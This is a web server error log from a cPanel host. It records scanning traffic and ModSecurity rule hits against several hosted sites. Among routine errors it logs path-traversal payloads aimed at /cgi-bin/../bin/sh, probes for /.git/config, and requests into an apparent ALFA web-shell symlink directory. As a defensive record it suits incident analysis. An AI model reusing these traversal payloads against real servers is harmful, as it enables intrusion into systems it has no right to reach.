[Mon Oct 26 20:42:52.294345 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.337404 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.379139 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.399445 2026] [security2:error] [pid 3117426:tid 3117426] [client 52.139.34.95:39130] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "direc2.sherwinpinturas.com"] [uri "/file5.php"] [unique_id "at_zjP5ZEdGRoel0j8fe_gAAAAg"]
[Mon Oct 26 20:42:52.399488 2026] [security2:error] [pid 3117426:tid 3117426] [client 52.139.34.95:39130] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "direc2.sherwinpinturas.com"] [uri "/file5.php"] [unique_id "at_zjP5ZEdGRoel0j8fe_gAAAAg"]
[Mon Oct 26 20:42:52.420209 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.461898 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.511271 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.558122 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.607263 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.654062 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.696262 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.751810 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.796580 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.857920 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.903755 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.944174 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.991340 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.044233 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.085879 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.137531 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.184973 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.226226 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.267851 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.310840 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.351811 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.392060 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.432472 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.474105 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.514773 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.554922 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.596461 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.641793 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.682237 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.788509 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.841586 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.891704 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.936277 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:53.978852 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.024146 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.070771 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.114589 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.165176 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.207601 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.248427 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.290006 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.330406 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.357897 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 50.19.79.213:6588] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:42:54.370922 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.411044 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.451976 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.492617 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.534620 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.577145 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.618111 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.659075 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.704206 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.749014 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:54.961009 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:55.006593 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:55.049765 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:55.092970 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:55.144838 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:55.211599 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:55.292427 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:55.375097 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:55.442083 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:55.499886 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:55.558135 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:55.622614 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:55.623114 2026] [security2:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "direc2.sherwinpinturas.com"] [uri "/177.php"] [unique_id "at_zj7HarSgES5WqcDhJTwAAAAU"]
[Mon Oct 26 20:42:55.623138 2026] [security2:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "direc2.sherwinpinturas.com"] [uri "/177.php"] [unique_id "at_zj7HarSgES5WqcDhJTwAAAAU"]
[Mon Oct 26 20:42:55.675095 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:55.722312 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:43:02.226124 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 52.202.52.82:46797] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:43:26.165540 2026] [ssl:error] [pid 3117426:tid 3117426] (5)Input/output error: [client 54.166.104.83:54997] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:44:02.192483 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 34.197.28.78:1884] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:44:02.192893 2026] [security2:error] [pid 3122515:tid 3122515] [client 34.197.28.78:1884] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.0/subsystem/slots/29/adapter"] [unique_id "at_z0v9ZN9W71fUwv43QRAAAAAA"]
[Mon Oct 26 20:44:02.192922 2026] [security2:error] [pid 3122515:tid 3122515] [client 34.197.28.78:1884] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.0/subsystem/slots/29/adapter"] [unique_id "at_z0v9ZN9W71fUwv43QRAAAAAA"]
[Mon Oct 26 20:44:06.145621 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.209.100.30:36739] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:44:42.226367 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 54.235.191.179:61509] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:44:42.226593 2026] [security2:error] [pid 3128624:tid 3128624] [client 54.235.191.179:61509] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:05.0/driver/0000:00:05.0/subsystem/drivers/virtio-pci/0000:00:04.0/power_state"] [unique_id "at_z-i-AKBd00cmosRNIGwAAAAE"]
[Mon Oct 26 20:44:42.226640 2026] [security2:error] [pid 3128624:tid 3128624] [client 54.235.191.179:61509] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:05.0/driver/0000:00:05.0/subsystem/drivers/virtio-pci/0000:00:04.0/power_state"] [unique_id "at_z-i-AKBd00cmosRNIGwAAAAE"]
[Mon Oct 26 20:44:54.135748 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 34.224.9.144:41133] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:44:56.519937 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 85.208.96.198:54914] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:44:58.323022 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.54.95.127:6762] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:44:58.632239 2026] [security2:error] [pid 3100940:tid 3100940] [client 49.51.38.193:41804] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/hosp3/"] [unique_id "at_0Cj77nSD73jfhp0aEuQAAAAc"]
[Mon Oct 26 20:45:01.388855 2026] [core:error] [pid 3122519:tid 3122519] [client 107.150.101.128:57666] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)
[Mon Oct 26 20:45:01.540908 2026] [core:error] [pid 3117426:tid 3117426] [client 107.150.101.128:58116] AH10244: invalid URI path (/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh)
[Mon Oct 26 20:45:02.291267 2026] [ssl:error] [pid 3117428:tid 3117428] (5)Input/output error: [client 54.87.62.248:27308] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:45:10.212650 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 52.21.62.139:4537] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:45:14.213865 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 98.84.60.17:57924] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:45:18.221377 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.243.63.52:55538] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:45:26.225846 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.221.105.234:13417] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:45:34.670045 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 54.225.199.17:63656] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:45:54.156302 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.94.157.25:31298] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:45:57.446143 2026] [core:error] [pid 3122519:tid 3122519] (13)Permission denied: [client 185.191.171.1:14404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/trace
[Mon Oct 26 20:45:58.323875 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 34.233.114.237:14490] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:46:06.153671 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 44.212.131.50:33493] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:46:14.324935 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.205.222.214:15076] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:46:34.134718 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.226.89.140:44919] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:46:42.449706 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 44.195.50.71:49209] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:46:42.785623 2026] [security2:error] [pid 3122515:tid 3122515] [client 65.49.1.80:56170] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "157"] [id "920180"] [rev "1"] [msg "POST request missing Content-Length Header."] [data "0"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at_0cv9ZN9W71fUwv43QSAAAAAA"]
[Mon Oct 26 20:46:50.133864 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 34.226.89.140:5534] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:46:58.291815 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 44.197.76.210:51160] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:47:02.226718 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 34.224.132.215:55470] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:47:22.143518 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 54.147.182.90:8157] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:47:38.127463 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 54.235.191.179:46836] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:47:42.136400 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 44.223.232.55:35251] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:47:44.893881 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 185.191.171.14:53184] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:47:54.133909 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 100.29.155.89:36267] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:47:58.229739 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.3.156.186:53796] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:48:01.215345 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 185.191.171.14:59660] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:48:02.167207 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 184.73.68.20:6673] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:48:03.015654 2026] [security2:error] [pid 3098113:tid 3098113] [client 65.49.1.80:41026] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at_0w7HarSgES5WqcDhJXgAAAAU"]
[Mon Oct 26 20:48:03.015952 2026] [security2:error] [pid 3098113:tid 3098113] [client 65.49.1.80:41026] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at_0w7HarSgES5WqcDhJXgAAAAU"]
[Mon Oct 26 20:48:03.017009 2026] [security2:error] [pid 3098113:tid 3098113] [client 65.49.1.80:41026] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_0w7HarSgES5WqcDhJXgAAAAU"]
[Mon Oct 26 20:48:10.135626 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 44.193.102.198:49532] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:48:14.364298 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 23.20.178.124:2269] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:48:18.169409 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.204.253.129:26300] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:48:22.361842 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.204.71.8:27972] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:48:26.135550 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.221.156.96:23041] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:48:42.988300 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.217.82.254:48748] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:48:46.160370 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 34.230.124.21:30462] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:48:50.160919 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.83.180.239:63791] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:48:56.137650 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 85.208.96.207:56426] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:49:01.393269 2026] [core:crit] [pid 3098114:tid 3098114] (13)Permission denied: [client 185.174.159.120:41672] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 20:49:01.786019 2026] [authz_core:error] [pid 3117428:tid 3117428] [client 185.174.159.120:55882] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 20:49:02.761791 2026] [authz_core:error] [pid 3100940:tid 3100940] [client 185.174.159.120:41688] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 20:49:10.125172 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 52.207.47.227:8458] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:49:18.136230 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.205.222.214:42757] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:49:30.188743 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 3.221.156.96:17178] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/physical_node/subsystem/devices/0000:00:03.0/subsystem/uevent
[Mon Oct 26 20:49:30.189351 2026] [security2:error] [pid 3098114:tid 3098114] [client 3.221.156.96:17178] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/physical_node/subsystem/devices/0000:00:03.0/subsystem/uevent"] [unique_id "at_1GoU8RArHmY5bTmWvbgAAAAY"]
[Mon Oct 26 20:49:30.189381 2026] [security2:error] [pid 3098114:tid 3098114] [client 3.221.156.96:17178] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/physical_node/subsystem/devices/0000:00:03.0/subsystem/uevent"] [unique_id "at_1GoU8RArHmY5bTmWvbgAAAAY"]
[Mon Oct 26 20:49:42.357275 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.215.231.15:36271] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:49:50.135557 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 23.23.214.190:9824] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:49:54.153938 2026] [ssl:error] [pid 3130190:tid 3130190] (70014)End of file found: [client 18.205.127.11:27892] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:49:55.819956 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 185.191.171.12:13510] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/cache_dma
